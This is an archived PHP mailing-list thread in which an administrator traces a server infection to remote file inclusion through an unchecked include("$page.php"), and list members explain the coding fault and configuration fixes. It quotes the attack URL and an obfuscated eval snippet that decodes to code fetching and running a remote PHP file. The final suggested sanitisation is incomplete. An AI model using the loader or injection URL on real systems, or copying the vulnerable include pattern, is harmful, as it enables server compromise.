Question on virus/worms

Question on virus/worms

am 05.02.2007 12:53:23 von seak.tf

My company's got a web site using PHP. But the server is actually
an IIS 5 sitting inside a Win2K server. So naturally, I'm using php dll
filter. (Please don't tell me to use Apache because we need IIS for
other services). This server also has got an anti-virus installed
(McAfee to be exact).

Since more than a year, I've got several warnings from McAfee
telling me that it was able to catch some virus/worms which were inside
the computer. Here're their names:
PHP/Chaploit
Perl/BackDoor-CXY.gen
PHP/BackDoor.gen
BackDoor-CUS!php Trojan

Do they mean anything to anyone of you? Do you know how they've got
inside the computer? Is there anything to do to prevent that? Are they
known PHP virus/worms to PHP community?

Thanks in advance.

Seak



----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP Windows Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Question on virus/worms

am 05.02.2007 13:10:38 von Stut

Seak, Teng-Fong wrote:
> PHP/Chaploit

http://vil.nai.com/vil/content/v_129568.htm

> Perl/BackDoor-CXY.gen

http://vil.nai.com/vil/content/v_138658.htm

> PHP/BackDoor.gen

http://vil.nai.com/vil/content/v_136948.htm

> BackDoor-CUS!php Trojan

http://vil.nai.com/vil/content/v_136195.htm

> Do they mean anything to anyone of you? Do you know how they've got
> inside the computer? Is there anything to do to prevent that? Are they
> known PHP virus/worms to PHP community?

Most likely means of them getting onto your machine is poorly written
scripts, over-reliance on scripts downloaded from the web and poor
server security.

Hope that helps.

-Stut

--
PHP Windows Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Question on virus/worms

am 02.03.2007 19:15:31 von seak.tf

Robert Cummings wrote:
> Did you bother to google any of them? I just punched PHP/BackDoor.gen
> into Google and got a wealth of information.
Yes, of course! But what I can see there aren't far from useless
(cf what I write below).

Stut wrote:
> Seak, Teng-Fong wrote:
>> PHP/Chaploit
> http://vil.nai.com/vil/content/v_129568.htm
>
> [snipped]
I know these already. The server is using McAfee. So I'm quite
familiar with VIL of McAfee. But informations given by these pages
aren't enough to let me know what to do and how those virus/worms got to
get inside.
>> Do they mean anything to anyone of you? Do you know how they've got
>> inside the computer? Is there anything to do to prevent that? Are they
>> known PHP virus/worms to PHP community?
> Most likely means of them getting onto your machine is poorly written
> scripts, over-reliance on scripts downloaded from the web and poor
> server security.
>
> Hope that helps.
No, not really :-(

But after I've spent some time reading the log files, I've finally
found out how the hackers managed to achieve worm infiltration.

Actually, they're using an URL like this:
http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?

And the some-worm-file.txt file contains some PHP code, while my
index.php contains this instruction:
include("$page.php");

This is enough to make infiltration possible! IMO, this instruction
is supposed to be used like this, isn't it? So this is obviously a PHP
security loophole and I don't see how the "poorly written scripts" can
help anything unless a totally rewrite! And there's no "poor server
security" that I can see.

I've installed PHP5 and the problem seems fixed. However, PHP
writes out where the problem occurs! Indeed, the hacker could read a
line like this:
Warning: include() [function.include]: URL file-access is disabled in
the server configuration in
C:\Inetpub\wwwroot\index.php on line X

I don't want them (the hackers) to be able to read this either.
That gives too much information about my server's file system. How can
I stop that?

By the way, I know there're still a lot of servers out there still
using PHP4. Is this vulnerability a known bug? At least, I'm not aware
of that before!

Regards,

Seak




----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Question on virus/worms

am 02.03.2007 19:15:31 von seak.tf

Robert Cummings wrote:
> Did you bother to google any of them? I just punched PHP/BackDoor.gen
> into Google and got a wealth of information.
Yes, of course! But what I can see there aren't far from useless
(cf what I write below).

Stut wrote:
> Seak, Teng-Fong wrote:
>> PHP/Chaploit
> http://vil.nai.com/vil/content/v_129568.htm
>
> [snipped]
I know these already. The server is using McAfee. So I'm quite
familiar with VIL of McAfee. But informations given by these pages
aren't enough to let me know what to do and how those virus/worms got to
get inside.
>> Do they mean anything to anyone of you? Do you know how they've got
>> inside the computer? Is there anything to do to prevent that? Are they
>> known PHP virus/worms to PHP community?
> Most likely means of them getting onto your machine is poorly written
> scripts, over-reliance on scripts downloaded from the web and poor
> server security.
>
> Hope that helps.
No, not really :-(

But after I've spent some time reading the log files, I've finally
found out how the hackers managed to achieve worm infiltration.

Actually, they're using an URL like this:
http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?

And the some-worm-file.txt file contains some PHP code, while my
index.php contains this instruction:
include("$page.php");

This is enough to make infiltration possible! IMO, this instruction
is supposed to be used like this, isn't it? So this is obviously a PHP
security loophole and I don't see how the "poorly written scripts" can
help anything unless a totally rewrite! And there's no "poor server
security" that I can see.

I've installed PHP5 and the problem seems fixed. However, PHP
writes out where the problem occurs! Indeed, the hacker could read a
line like this:
Warning: include() [function.include]: URL file-access is disabled in
the server configuration in
C:\Inetpub\wwwroot\index.php on line X

I don't want them (the hackers) to be able to read this either.
That gives too much information about my server's file system. How can
I stop that?

By the way, I know there're still a lot of servers out there still
using PHP4. Is this vulnerability a known bug? At least, I'm not aware
of that before!

Regards,

Seak




----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-WIN] Re: Question on virus/worms

am 02.03.2007 19:55:40 von Bill Bolte

Turn off all error reporting (in php.ini) so that the error isn't pushed
to the screen.=20

-----Original Message-----
From: Seak, Teng-Fong [mailto:seak.tf@inMail24.com]=20
Sent: Friday, March 02, 2007 12:16 PM
To: php-windows@lists.php.net; php-general@lists.php.net
Subject: [PHP-WIN] Re: Question on virus/worms

Robert Cummings wrote:
> Did you bother to google any of them? I just punched PHP/BackDoor.gen=20
> into Google and got a wealth of information.
Yes, of course! But what I can see there aren't far from useless
(cf what I write below).

Stut wrote:
> Seak, Teng-Fong wrote:
>> PHP/Chaploit
> http://vil.nai.com/vil/content/v_129568.htm
>
> [snipped]
I know these already. The server is using McAfee. So I'm quite
familiar with VIL of McAfee. But informations given by these pages
aren't enough to let me know what to do and how those virus/worms got to
get inside.
>> Do they mean anything to anyone of you? Do you know how they've=20
>> got inside the computer? Is there anything to do to prevent that? =20
>> Are they known PHP virus/worms to PHP community?
> Most likely means of them getting onto your machine is poorly written=20
> scripts, over-reliance on scripts downloaded from the web and poor=20
> server security.
>
> Hope that helps.
No, not really :-(

But after I've spent some time reading the log files, I've finally
found out how the hackers managed to achieve worm infiltration.

Actually, they're using an URL like this:
http://my-domain.com/index.php?page=3Dhttp://hacker-domain.c om/some-worm-=
f
ile.txt?

And the some-worm-file.txt file contains some PHP code, while my
index.php contains this instruction:
include("$page.php");

This is enough to make infiltration possible! IMO, this instruction
is supposed to be used like this, isn't it? So this is obviously a PHP
security loophole and I don't see how the "poorly written scripts" can
help anything unless a totally rewrite! And there's no "poor server
security" that I can see.

I've installed PHP5 and the problem seems fixed. However, PHP
writes out where the problem occurs! Indeed, the hacker could read a
line like this:
Warning: include() [function.include]: URL file-access is disabled in
the server configuration in C:\Inetpub\wwwroot\index.php on line X

I don't want them (the hackers) to be able to read this either.=20
That gives too much information about my server's file system. How can
I stop that?

By the way, I know there're still a lot of servers out there still
using PHP4. Is this vulnerability a known bug? At least, I'm not aware
of that before!

Regards,

Seak




----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised!
www.zoner.com/zps
You can download your free version.

--
PHP Windows Mailing List (http://www.php.net/) To unsubscribe, visit:
http://www.php.net/unsub.php

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-WIN] Re: Question on virus/worms

am 02.03.2007 19:55:40 von Bill Bolte

Turn off all error reporting (in php.ini) so that the error isn't pushed
to the screen.=20

-----Original Message-----
From: Seak, Teng-Fong [mailto:seak.tf@inMail24.com]=20
Sent: Friday, March 02, 2007 12:16 PM
To: php-windows@lists.php.net; php-general@lists.php.net
Subject: [PHP-WIN] Re: Question on virus/worms

Robert Cummings wrote:
> Did you bother to google any of them? I just punched PHP/BackDoor.gen=20
> into Google and got a wealth of information.
Yes, of course! But what I can see there aren't far from useless
(cf what I write below).

Stut wrote:
> Seak, Teng-Fong wrote:
>> PHP/Chaploit
> http://vil.nai.com/vil/content/v_129568.htm
>
> [snipped]
I know these already. The server is using McAfee. So I'm quite
familiar with VIL of McAfee. But informations given by these pages
aren't enough to let me know what to do and how those virus/worms got to
get inside.
>> Do they mean anything to anyone of you? Do you know how they've=20
>> got inside the computer? Is there anything to do to prevent that? =20
>> Are they known PHP virus/worms to PHP community?
> Most likely means of them getting onto your machine is poorly written=20
> scripts, over-reliance on scripts downloaded from the web and poor=20
> server security.
>
> Hope that helps.
No, not really :-(

But after I've spent some time reading the log files, I've finally
found out how the hackers managed to achieve worm infiltration.

Actually, they're using an URL like this:
http://my-domain.com/index.php?page=3Dhttp://hacker-domain.c om/some-worm-=
f
ile.txt?

And the some-worm-file.txt file contains some PHP code, while my
index.php contains this instruction:
include("$page.php");

This is enough to make infiltration possible! IMO, this instruction
is supposed to be used like this, isn't it? So this is obviously a PHP
security loophole and I don't see how the "poorly written scripts" can
help anything unless a totally rewrite! And there's no "poor server
security" that I can see.

I've installed PHP5 and the problem seems fixed. However, PHP
writes out where the problem occurs! Indeed, the hacker could read a
line like this:
Warning: include() [function.include]: URL file-access is disabled in
the server configuration in C:\Inetpub\wwwroot\index.php on line X

I don't want them (the hackers) to be able to read this either.=20
That gives too much information about my server's file system. How can
I stop that?

By the way, I know there're still a lot of servers out there still
using PHP4. Is this vulnerability a known bug? At least, I'm not aware
of that before!

Regards,

Seak




----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised!
www.zoner.com/zps
You can download your free version.

--
PHP Windows Mailing List (http://www.php.net/) To unsubscribe, visit:
http://www.php.net/unsub.php

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Re: Question on virus/worms

am 02.03.2007 20:23:16 von Stut

Seak, Teng-Fong wrote:
> But after I've spent some time reading the log files, I've finally
> found out how the hackers managed to achieve worm infiltration.
>
> Actually, they're using an URL like this:
> http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?
>
> And the some-worm-file.txt file contains some PHP code, while my
> index.php contains this instruction:
> include("$page.php");
>
> This is enough to make infiltration possible! IMO, this instruction
> is supposed to be used like this, isn't it? So this is obviously a PHP
> security loophole and I don't see how the "poorly written scripts" can
> help anything unless a totally rewrite! And there's no "poor server
> security" that I can see.

You mean to say that you're not validating what you're getting from the
user? Frankly you deserve everything you get. This is *not* a "security
loophole", it *is* a poorly written script.

> I've installed PHP5 and the problem seems fixed. However, PHP
> writes out where the problem occurs! Indeed, the hacker could read a
> line like this:
> Warning: include() [function.include]: URL file-access is disabled in
> the server configuration in
> C:\Inetpub\wwwroot\index.php on line X
>
> I don't want them (the hackers) to be able to read this either.
> That gives too much information about my server's file system. How can
> I stop that?

Read the manual, specifically the error_reporting part. You can turn the
display of these messages off.

> By the way, I know there're still a lot of servers out there still
> using PHP4. Is this vulnerability a known bug? At least, I'm not aware
> of that before!

It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+)
introduces the ability to turn off the ability to prevent this issue,
but it's still badly written code. Stop blaming the tool, start blaming
the mirror image and start learning how to code defensively.

-Stut

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: Re: Question on virus/worms

am 02.03.2007 20:23:16 von Stut

Seak, Teng-Fong wrote:
> But after I've spent some time reading the log files, I've finally
> found out how the hackers managed to achieve worm infiltration.
>
> Actually, they're using an URL like this:
> http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?
>
> And the some-worm-file.txt file contains some PHP code, while my
> index.php contains this instruction:
> include("$page.php");
>
> This is enough to make infiltration possible! IMO, this instruction
> is supposed to be used like this, isn't it? So this is obviously a PHP
> security loophole and I don't see how the "poorly written scripts" can
> help anything unless a totally rewrite! And there's no "poor server
> security" that I can see.

You mean to say that you're not validating what you're getting from the
user? Frankly you deserve everything you get. This is *not* a "security
loophole", it *is* a poorly written script.

> I've installed PHP5 and the problem seems fixed. However, PHP
> writes out where the problem occurs! Indeed, the hacker could read a
> line like this:
> Warning: include() [function.include]: URL file-access is disabled in
> the server configuration in
> C:\Inetpub\wwwroot\index.php on line X
>
> I don't want them (the hackers) to be able to read this either.
> That gives too much information about my server's file system. How can
> I stop that?

Read the manual, specifically the error_reporting part. You can turn the
display of these messages off.

> By the way, I know there're still a lot of servers out there still
> using PHP4. Is this vulnerability a known bug? At least, I'm not aware
> of that before!

It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+)
introduces the ability to turn off the ability to prevent this issue,
but it's still badly written code. Stop blaming the tool, start blaming
the mirror image and start learning how to code defensively.

-Stut

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Re: Question on virus/worms

am 03.03.2007 14:02:50 von Tim

> -----Message d'origine-----
> De : Stut [mailto:stuttle@gmail.com]=20
> Envoy=E9 : vendredi 2 mars 2007 20:23
> =C0 : Seak, Teng-Fong
> Cc : php-windows@lists.php.net; php-general@lists.php.net
> Objet : Re: [PHP] Re: Question on virus/worms
>=20
> Seak, Teng-Fong wrote:
> > But after I've spent some time reading the log files,=20
> I've finally=20
> > found out how the hackers managed to achieve worm infiltration.
> >=20
> > Actually, they're using an URL like this:
> >=20
> http://my-domain.com/index.php?page=3Dhttp://hacker-domain.c om/s
> ome-worm-file.txt?
*smirk*
> >=20
> > And the some-worm-file.txt file contains some PHP code,=20
> while my=20
> > index.php contains this instruction:
> > include("$page.php");

This one line brings up two known php coding security issues, learn =
about
them on http://phpsec.org

> >=20
> > This is enough to make infiltration possible! IMO, this=20
> > instruction is supposed to be used like this, isn't it? =20

NO it is not! See above..

> >So this is=20
> > obviously a PHP security loophole=20
YES! Learn about register_globals, allow_url_fopen, include()

Infact go learn PHP before blindly running scripts in a production
environment! Or if you really don't want too learn php at least =
subscribe to
bugtraq mailing list and go through the archive to see if the script you
want to run has a security history, see if they follow up on the issues =
or
just "ignore" the issues, and keep informed to see if any new issues =
have
been brought to hand.
=20
> >and I don't see how the "poorly=20
> > written scripts" can help anything unless a totally rewrite!

Not neccassarily a total rewrite, try implementing some functions to
retrieve/filtre your $_GET $_POST data, turn off register_globals, =
replace
all variables relying on register globals with your newly implemented
functions.. Use regular expressions to find the data that needs to be
changed in your scripts..

> > And=20
> > there's no "poor server security" that I can see.

I think its time for you to take a pause on installing these scripts you =
are
downloading and read up on the php.ini configuration file, also do a =
search
on php history and security. Follow the changes in different php =
versions
aswell their are a lot of hints as to what "default" values have changed =
to
improve chances of "poorly written scripts" not being vulnerable. BUT =
unless
you understnad the issues involved these default values are a false =
excuse
for thinking your scripts is "secure". (ie upgrading to php5: you did =
it, it
solved your problem, but you still don't know why because you don't know
what value was changed in your php configuration)

Those few steps will definately be able to give you an idea of what kind =
of
security issues exist, eventually how they are circumvented, and ideas =
on
how you can improve your existing scripts to avoid these issues.

Once you are comfortable with this, before you use a script downloaded =
from
the inet in a production environment, go through the code and make sure =
you
don't see any backdoor code (unecessary fsockopen(), exec() etc.. That =
isn't
related to the scripts original use). Also a good thing to look out for =
is
scripts that run with register_globals =3D off in the php.ini this at =
least
ensures "forced" good practice in coding (this does not mean one cannot =
code
well with register_globals =3D on, it just releaves a potential security =
issue
for the programmer and force him to call url passed variable in a proper
manner ie: using PHP Super Globals, to be able to use them)

>=20
> > I've installed PHP5 and the problem seems fixed. However, PHP=20
> > writes out where the problem occurs! Indeed, the hacker=20
> could read a=20
> > line like this:
> > Warning: include() [function.include]: URL file-access is=20
> disabled in=20
> > the server configuration in C:\Inetpub\wwwroot\index.php on line X
> >=20
> > I don't want them (the hackers) to be able to read this either.=20
> > That gives too much information about my server's file system. How=20
> > can I stop that?

Once again learn about php.ini and how it works (re: Stut mentioned -
error_reporting).


> > By the way, I know there're still a lot of servers out=20
> there still=20
> > using PHP4. Is this vulnerability a known bug? At least, I'm not=20
> > aware of that before!
>=20
> It's not a bug. It will never be a bug. Yes PHP5 (I believe=20
> it's 5.2+) introduces the ability to turn off the ability to=20
> prevent this issue, but it's still badly written code. Stop=20
> blaming the tool, start blaming the mirror image and start=20
> learning how to code defensively.

Can't agree more..

Don't "think" youre secure and live with it, someday it will bite you =
when
you least expect it.. Make it a part of your everyday work to constantly
reduce the risk of unwanted "intrusions"..

Regards,

Tim

--
PHP Windows Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Re: Question on virus/worms

am 03.03.2007 14:02:50 von Tim

> -----Message d'origine-----
> De : Stut [mailto:stuttle@gmail.com]=20
> Envoy=E9 : vendredi 2 mars 2007 20:23
> =C0 : Seak, Teng-Fong
> Cc : php-windows@lists.php.net; php-general@lists.php.net
> Objet : Re: [PHP] Re: Question on virus/worms
>=20
> Seak, Teng-Fong wrote:
> > But after I've spent some time reading the log files,=20
> I've finally=20
> > found out how the hackers managed to achieve worm infiltration.
> >=20
> > Actually, they're using an URL like this:
> >=20
> http://my-domain.com/index.php?page=3Dhttp://hacker-domain.c om/s
> ome-worm-file.txt?
*smirk*
> >=20
> > And the some-worm-file.txt file contains some PHP code,=20
> while my=20
> > index.php contains this instruction:
> > include("$page.php");

This one line brings up two known php coding security issues, learn =
about
them on http://phpsec.org

> >=20
> > This is enough to make infiltration possible! IMO, this=20
> > instruction is supposed to be used like this, isn't it? =20

NO it is not! See above..

> >So this is=20
> > obviously a PHP security loophole=20
YES! Learn about register_globals, allow_url_fopen, include()

Infact go learn PHP before blindly running scripts in a production
environment! Or if you really don't want too learn php at least =
subscribe to
bugtraq mailing list and go through the archive to see if the script you
want to run has a security history, see if they follow up on the issues =
or
just "ignore" the issues, and keep informed to see if any new issues =
have
been brought to hand.
=20
> >and I don't see how the "poorly=20
> > written scripts" can help anything unless a totally rewrite!

Not neccassarily a total rewrite, try implementing some functions to
retrieve/filtre your $_GET $_POST data, turn off register_globals, =
replace
all variables relying on register globals with your newly implemented
functions.. Use regular expressions to find the data that needs to be
changed in your scripts..

> > And=20
> > there's no "poor server security" that I can see.

I think its time for you to take a pause on installing these scripts you =
are
downloading and read up on the php.ini configuration file, also do a =
search
on php history and security. Follow the changes in different php =
versions
aswell their are a lot of hints as to what "default" values have changed =
to
improve chances of "poorly written scripts" not being vulnerable. BUT =
unless
you understnad the issues involved these default values are a false =
excuse
for thinking your scripts is "secure". (ie upgrading to php5: you did =
it, it
solved your problem, but you still don't know why because you don't know
what value was changed in your php configuration)

Those few steps will definately be able to give you an idea of what kind =
of
security issues exist, eventually how they are circumvented, and ideas =
on
how you can improve your existing scripts to avoid these issues.

Once you are comfortable with this, before you use a script downloaded =
from
the inet in a production environment, go through the code and make sure =
you
don't see any backdoor code (unecessary fsockopen(), exec() etc.. That =
isn't
related to the scripts original use). Also a good thing to look out for =
is
scripts that run with register_globals =3D off in the php.ini this at =
least
ensures "forced" good practice in coding (this does not mean one cannot =
code
well with register_globals =3D on, it just releaves a potential security =
issue
for the programmer and force him to call url passed variable in a proper
manner ie: using PHP Super Globals, to be able to use them)

>=20
> > I've installed PHP5 and the problem seems fixed. However, PHP=20
> > writes out where the problem occurs! Indeed, the hacker=20
> could read a=20
> > line like this:
> > Warning: include() [function.include]: URL file-access is=20
> disabled in=20
> > the server configuration in C:\Inetpub\wwwroot\index.php on line X
> >=20
> > I don't want them (the hackers) to be able to read this either.=20
> > That gives too much information about my server's file system. How=20
> > can I stop that?

Once again learn about php.ini and how it works (re: Stut mentioned -
error_reporting).


> > By the way, I know there're still a lot of servers out=20
> there still=20
> > using PHP4. Is this vulnerability a known bug? At least, I'm not=20
> > aware of that before!
>=20
> It's not a bug. It will never be a bug. Yes PHP5 (I believe=20
> it's 5.2+) introduces the ability to turn off the ability to=20
> prevent this issue, but it's still badly written code. Stop=20
> blaming the tool, start blaming the mirror image and start=20
> learning how to code defensively.

Can't agree more..

Don't "think" youre secure and live with it, someday it will bite you =
when
you least expect it.. Make it a part of your everyday work to constantly
reduce the risk of unwanted "intrusions"..

Regards,

Tim

--
PHP Windows Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Re: Question on virus/worms

am 03.03.2007 15:08:32 von Robert Cummings

On Sat, 2007-03-03 at 14:02 +0100, Tim wrote:
>
> Once you are comfortable with this, before you use a script downloaded from
> the inet in a production environment, go through the code and make sure you
> don't see any backdoor code (unecessary fsockopen(), exec() etc.. That isn't
> related to the scripts original use).

And be very careful with eval(). It's a gold mine for hackers since then
they can just do things like:


$stuff =
'102,117,110,99,116,105,111,110,32,83,73,76,70,83,68,'
.'72,76,68,70,78,76,72,68,72,74,76,83,68,76,75,74,68,'
.'76,74,83,72,68,76,74,83,72,68,83,90,68,70,83,40,41,'
.'10,32,32,32,32,123,10,32,32,32,32,32,32,32,32,36,99,'
.'111,100,101,32,61,32,102,105,108,101,40,32,39,104,116,'
.'116,112,58,47,47,119,119,119,46,105,110,116,101,114,'
.'106,105,110,110,46,99,111,109,47,104,97,99,107,101,'
.'114,80,97,99,107,46,112,104,112,39,32,41,59,10,32,32,'
.'32,32,32,32,32,32,36,99,111,100,101,32,61,32,105,109,'
.'112,108,111,100,101,40,32,39,39,44,32,36,99,111,100,'
.'101,32,41,59,10,10,32,32,32,32,32,32,32,32,101,118,'
.'97,108,40,32,36,99,111,100,101,32,41,59,10,32,32,32,'
.'32,125,10,10,32,32,32,32,83,73,76,70,83,68,72,76,68,'
.'70,78,76,72,68,72,74,76,83,68,76,75,74,68,76,74,83,'
.'72,68,76,74,83,72,68,83,90,68,70,83,40,41,59';

$stuff = explode( ',', $stuff );
$stuff = 'c'.'h'.'r'.'('.implode( ').'
.'c'.'h'.'r'.'(', $stuff ).');';

$stuff = eval( 'return '.$stuff );
$stuff = eval( $stuff );

?>

Cheers,
Rob.
--
..---------------------------------------------------------- --.
| InterJinn Application Framework - http://www.interjinn.com |
:----------------------------------------------------------- -:
| An application and templating framework for PHP. Boasting |
| a powerful, scalable system for accessing system services |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for |
| creating re-usable components quickly and easily. |
`----------------------------------------------------------- -'

--
PHP Windows Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] Re: Question on virus/worms

am 03.03.2007 15:08:32 von Robert Cummings

On Sat, 2007-03-03 at 14:02 +0100, Tim wrote:
>
> Once you are comfortable with this, before you use a script downloaded from
> the inet in a production environment, go through the code and make sure you
> don't see any backdoor code (unecessary fsockopen(), exec() etc.. That isn't
> related to the scripts original use).

And be very careful with eval(). It's a gold mine for hackers since then
they can just do things like:


$stuff =
'102,117,110,99,116,105,111,110,32,83,73,76,70,83,68,'
.'72,76,68,70,78,76,72,68,72,74,76,83,68,76,75,74,68,'
.'76,74,83,72,68,76,74,83,72,68,83,90,68,70,83,40,41,'
.'10,32,32,32,32,123,10,32,32,32,32,32,32,32,32,36,99,'
.'111,100,101,32,61,32,102,105,108,101,40,32,39,104,116,'
.'116,112,58,47,47,119,119,119,46,105,110,116,101,114,'
.'106,105,110,110,46,99,111,109,47,104,97,99,107,101,'
.'114,80,97,99,107,46,112,104,112,39,32,41,59,10,32,32,'
.'32,32,32,32,32,32,36,99,111,100,101,32,61,32,105,109,'
.'112,108,111,100,101,40,32,39,39,44,32,36,99,111,100,'
.'101,32,41,59,10,10,32,32,32,32,32,32,32,32,101,118,'
.'97,108,40,32,36,99,111,100,101,32,41,59,10,32,32,32,'
.'32,125,10,10,32,32,32,32,83,73,76,70,83,68,72,76,68,'
.'70,78,76,72,68,72,74,76,83,68,76,75,74,68,76,74,83,'
.'72,68,76,74,83,72,68,83,90,68,70,83,40,41,59';

$stuff = explode( ',', $stuff );
$stuff = 'c'.'h'.'r'.'('.implode( ').'
.'c'.'h'.'r'.'(', $stuff ).');';

$stuff = eval( 'return '.$stuff );
$stuff = eval( $stuff );

?>

Cheers,
Rob.
--
..---------------------------------------------------------- --.
| InterJinn Application Framework - http://www.interjinn.com |
:----------------------------------------------------------- -:
| An application and templating framework for PHP. Boasting |
| a powerful, scalable system for accessing system services |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for |
| creating re-usable components quickly and easily. |
`----------------------------------------------------------- -'

--
PHP Windows Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 15:15:49 von seak.tf

Stut wrote:
> Seak, Teng-Fong wrote:
>> But after I've spent some time reading the log files, I've finally
>> found out how the hackers managed to achieve worm infiltration.
>>
>> Actually, they're using an URL like this:
>> http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?
>>
>>
>> And the some-worm-file.txt file contains some PHP code, while my
>> index.php contains this instruction:
>> include("$page.php");
>>
>> This is enough to make infiltration possible! IMO, this instruction
>> is supposed to be used like this, isn't it? So this is obviously a PHP
>> security loophole and I don't see how the "poorly written scripts" can
>> help anything unless a totally rewrite! And there's no "poor server
>> security" that I can see.
>
> You mean to say that you're not validating what you're getting from
> the user? Frankly you deserve everything you get.
No, I don't deserve anything because, as I've written in the
original post (but I suppose you didn't notice), the website is
outsourced and made by a 3rd company. I had already spent a lot of time
to learn and understand PHP, which normally isn't a part of my job. So,
I had already done more than I should.
> This is *not* a "security loophole", it *is* a poorly written script.
Well, when something doesn't produce the expected effect/result, or
produce a side-effect, it's considered as a bug. If that's not a bug,
why would the behaviour be changed from PHP4 to PHP5 then?
>> I've installed PHP5 and the problem seems fixed. However, PHP
>> writes out where the problem occurs! Indeed, the hacker could read a
>> line like this:
>> Warning: include() [function.include]: URL file-access is disabled in
>> the server configuration in
>> C:\Inetpub\wwwroot\index.php on line X
>>
>> I don't want them (the hackers) to be able to read this either.
>> That gives too much information about my server's file system. How can
>> I stop that?
>
> Read the manual, specifically the error_reporting part. You can turn
> the display of these messages off.
I had. Well, I had tried to do so, spending time out of my tightly
scheduled job planning.
>> By the way, I know there're still a lot of servers out there still
>> using PHP4. Is this vulnerability a known bug? At least, I'm not aware
>> of that before!
>
> It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+)
> introduces the ability to turn off the ability to prevent this issue,
> but it's still badly written code. Stop blaming the tool, start
> blaming the mirror image and start learning how to code defensively.
>
> -Stut
>



----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 15:15:49 von seak.tf

Stut wrote:
> Seak, Teng-Fong wrote:
>> But after I've spent some time reading the log files, I've finally
>> found out how the hackers managed to achieve worm infiltration.
>>
>> Actually, they're using an URL like this:
>> http://my-domain.com/index.php?page=http://hacker-domain.com /some-worm-file.txt?
>>
>>
>> And the some-worm-file.txt file contains some PHP code, while my
>> index.php contains this instruction:
>> include("$page.php");
>>
>> This is enough to make infiltration possible! IMO, this instruction
>> is supposed to be used like this, isn't it? So this is obviously a PHP
>> security loophole and I don't see how the "poorly written scripts" can
>> help anything unless a totally rewrite! And there's no "poor server
>> security" that I can see.
>
> You mean to say that you're not validating what you're getting from
> the user? Frankly you deserve everything you get.
No, I don't deserve anything because, as I've written in the
original post (but I suppose you didn't notice), the website is
outsourced and made by a 3rd company. I had already spent a lot of time
to learn and understand PHP, which normally isn't a part of my job. So,
I had already done more than I should.
> This is *not* a "security loophole", it *is* a poorly written script.
Well, when something doesn't produce the expected effect/result, or
produce a side-effect, it's considered as a bug. If that's not a bug,
why would the behaviour be changed from PHP4 to PHP5 then?
>> I've installed PHP5 and the problem seems fixed. However, PHP
>> writes out where the problem occurs! Indeed, the hacker could read a
>> line like this:
>> Warning: include() [function.include]: URL file-access is disabled in
>> the server configuration in
>> C:\Inetpub\wwwroot\index.php on line X
>>
>> I don't want them (the hackers) to be able to read this either.
>> That gives too much information about my server's file system. How can
>> I stop that?
>
> Read the manual, specifically the error_reporting part. You can turn
> the display of these messages off.
I had. Well, I had tried to do so, spending time out of my tightly
scheduled job planning.
>> By the way, I know there're still a lot of servers out there still
>> using PHP4. Is this vulnerability a known bug? At least, I'm not aware
>> of that before!
>
> It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+)
> introduces the ability to turn off the ability to prevent this issue,
> but it's still badly written code. Stop blaming the tool, start
> blaming the mirror image and start learning how to code defensively.
>
> -Stut
>



----------
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps
You can download your free version.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

am 15.03.2007 15:30:07 von Dave Goodchild

------=_Part_68441_393066.1173969007111
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Turn off register_globals - if you pollute your scripts with global
variables like that you are asking for trouble. If you can't make sure you
clean the variable.

Using include("$page.php") is asking for trouble.

If you can get register_globals switched off (it's off by default in PHP5
for this very reason) then use the kind of security procedure so well
explained on brainbulb.com (also well worth watching the audit cast):

Maybe something like:

$page = isset($_GET['page']) ? trim(strip_tags($_GET['page'])) : 'page';

// clean data here, ie check suffix, reun tests, and only then...

include "$page.php";

------=_Part_68441_393066.1173969007111--

